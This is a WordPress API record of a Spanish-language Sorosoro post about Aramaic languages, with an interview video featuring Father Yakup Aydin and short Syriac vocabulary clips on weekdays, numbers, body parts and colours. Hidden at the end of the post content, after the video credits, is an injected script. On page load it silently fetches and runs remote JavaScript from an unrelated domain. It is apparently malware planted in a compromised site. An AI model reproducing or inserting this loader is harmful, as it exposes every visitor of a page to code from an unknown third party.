{"id":46627,"date":"2011-04-29T12:40:32","date_gmt":"2011-04-29T10:40:32","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=46627"},"modified":"2025-10-21T22:56:04","modified_gmt":"2025-10-21T20:56:04","slug":"videos-en-lenguas-arameas-mesopotamia","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/","title":{"rendered":"Videos en lenguas arameas &#8211; MESOPOTAMIA"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-48940\" title=\"aram\u00e9en\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/aram\u00e9en2.jpg\" alt=\"aram\u00e9en\" width=\"236\" height=\"156\" \/><\/p>\n<p style=\"text-align: justify;\">\n<h5>Presentacion de las lenguas arameas, por el padre Yakup Aydin\u00a0<span style=\"color: #000000; font-weight: normal; font-size: 13px;\">(con subt\u00edtulos en ingl\u00e9s)<\/span><\/h5>\n<p style=\"text-align: justify;\">Retrocedamos a un pasado muy lejano:\u00a0\u00a1la <strong>lengua aramea<\/strong> <strong>es una lengua sem\u00edtica<\/strong> atestiguada por  escrito desde el primer milenario antes de nuestra era! En el siglo VII  A.C. se convierte en lengua administrativa del Imperio neoasirio luego  de los imperios neobabil\u00f3nico y persa, y la lengua vehicular de todo el  Oriente Pr\u00f3ximo y el Medio Oriente. Al principio de la era cristiana, ya  cuenta numerosos dialectos, y es en uno de \u00e9sos que Jes\u00fas predicaba y  escrib\u00eda.<\/p>\n<p style=\"text-align: justify;\">El  padre Yakup Aydin describe pues en esta entrevista la comunidad de  creyentes que viene cada semana para rezar en la iglesia de Montfermeil,  y que contin\u00faa hablando su lengua cada d\u00eda.<\/p>\n<p style=\"text-align: justify;\">Mil gracias a<strong> Jean-Claude Luyat<\/strong> por sus im\u00e1genes filmadas in situ en Turqu\u00eda, y a <strong>Jean Sibille<\/strong>,<strong> Alain Desreumaux<\/strong> y <strong>Claude Haberer<\/strong> por la valiosa informaci\u00f3n que nos transmitieron.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/es\/las-lenguas-arameas-por-el-padre-yakup-aydin\">Para saber m\u00e1s<\/a><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/P5IfzeYlt7M?version=3&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/P5IfzeYlt7M?version=3&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido <\/span><span style=\"text-decoration: underline;\">Francia<\/span>: Baptiste Etchegaray<br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span><span style=\"text-decoration: underline;\"> Turqu\u00eda<\/span>: Jean-Claude Luyat<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<h5>Las palabritas de todos los d\u00edas<\/h5>\n<p><strong>Los d\u00edas de la semana<\/strong><br \/>\n<a href=\"https:\/\/www.sorosoro.org\/es\/los-dias-de-la-semana-en-siriaco\">Para saber m\u00e1s<\/a><\/p>\n<p><strong><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/V1Fqiv6NGI8?fs=1&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/V1Fqiv6NGI8?fs=1&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Las cifras y los n\u00fameros<\/strong><\/p>\n<p><a href=\"https:\/\/www.sorosoro.org\/es\/las-cifras-y-los-numeros-en-siriaco\">Para saber m\u00e1s<\/a><\/p>\n<p><strong><a href=\"https:\/\/www.sorosoro.org\/es\/las-cifras-y-los-numeros-en-siriaco\"><\/a><\/strong><strong><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/1bXtvYQEPkQ?fs=1&amp;hl=fr_FR\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/1bXtvYQEPkQ?fs=1&amp;hl=fr_FR\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Las partes del cuerpo<\/strong><\/p>\n<p><a href=\"https:\/\/www.sorosoro.org\/es\/las-partes-del-cuerpo-en-siriaco\">Para saber m\u00e1s<\/a><\/p>\n<p><strong><a href=\"https:\/\/www.sorosoro.org\/es\/las-partes-del-cuerpo-en-siriaco\"><\/a><\/strong><strong><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/-lvYsvtMY-Q?fs=1&amp;hl=fr_FR&amp;rel=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/-lvYsvtMY-Q?fs=1&amp;hl=fr_FR&amp;rel=0\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p><strong>Los colores<\/strong><br \/>\n<a style=\"color: #58585a; text-decoration: none;\" href=\"https:\/\/www.sorosoro.org\/es\/los-colores-en-siriac\">Para saber m\u00e1s<\/a><\/p>\n<p style=\"text-align: justify;\"><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/7PqZvNEEyOs?fs=1&amp;hl=fr_FR\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/7PqZvNEEyOs?fs=1&amp;hl=fr_FR\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><br \/>\n<span style=\"text-decoration: underline;\">Imagen y sonido<\/span>: Baptiste Etchegaray<br \/>\n<span style=\"text-decoration: underline;\">Montaje<\/span>: Caroline Laurent<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Presentacion de las lenguas arameas, por el padre Yakup Aydin\u00a0(con subt\u00edtulos en ingl\u00e9s) Retrocedamos a un pasado muy lejano:\u00a0\u00a1la lengua aramea es una lengua sem\u00edtica atestiguada por escrito desde el primer milenario antes de nuestra era! En el siglo VII A.C. se convierte en lengua administrativa del Imperio neoasirio luego de los imperios neobabil\u00f3nico y [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[],"class_list":["post-46627","post","type-post","status-publish","format-standard","hentry","category-videos-de-idiomas"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Videos en lenguas arameas - MESOPOTAMIA - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Videos en lenguas arameas - MESOPOTAMIA - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Presentacion de las lenguas arameas, por el padre Yakup Aydin\u00a0(con subt\u00edtulos en ingl\u00e9s) Retrocedamos a un pasado muy lejano:\u00a0\u00a1la lengua aramea es una lengua sem\u00edtica atestiguada por escrito desde el primer milenario antes de nuestra era! En el siglo VII A.C. se convierte en lengua administrativa del Imperio neoasirio luego de los imperios neobabil\u00f3nico y [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-04-29T10:40:32+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:56:04+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Videos en lenguas arameas &#8211; MESOPOTAMIA\",\"datePublished\":\"2011-04-29T10:40:32+00:00\",\"dateModified\":\"2025-10-21T20:56:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/\"},\"wordCount\":241,\"articleSection\":[\"V\u00eddeos de idiomas\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/\",\"name\":\"Videos en lenguas arameas - MESOPOTAMIA - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-04-29T10:40:32+00:00\",\"dateModified\":\"2025-10-21T20:56:04+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Videos en lenguas arameas &#8211; MESOPOTAMIA\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Videos en lenguas arameas - MESOPOTAMIA - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/","og_locale":"es_ES","og_type":"article","og_title":"Videos en lenguas arameas - MESOPOTAMIA - Sorosoro","og_description":"Presentacion de las lenguas arameas, por el padre Yakup Aydin\u00a0(con subt\u00edtulos en ingl\u00e9s) Retrocedamos a un pasado muy lejano:\u00a0\u00a1la lengua aramea es una lengua sem\u00edtica atestiguada por escrito desde el primer milenario antes de nuestra era! En el siglo VII A.C. se convierte en lengua administrativa del Imperio neoasirio luego de los imperios neobabil\u00f3nico y [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/","og_site_name":"Sorosoro","article_published_time":"2011-04-29T10:40:32+00:00","article_modified_time":"2025-10-21T20:56:04+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Videos en lenguas arameas &#8211; MESOPOTAMIA","datePublished":"2011-04-29T10:40:32+00:00","dateModified":"2025-10-21T20:56:04+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/"},"wordCount":241,"articleSection":["V\u00eddeos de idiomas"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/","name":"Videos en lenguas arameas - MESOPOTAMIA - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-04-29T10:40:32+00:00","dateModified":"2025-10-21T20:56:04+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/04\/videos-en-lenguas-arameas-mesopotamia\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Videos en lenguas arameas &#8211; MESOPOTAMIA"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/46627","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=46627"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/46627\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=46627"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=46627"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=46627"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}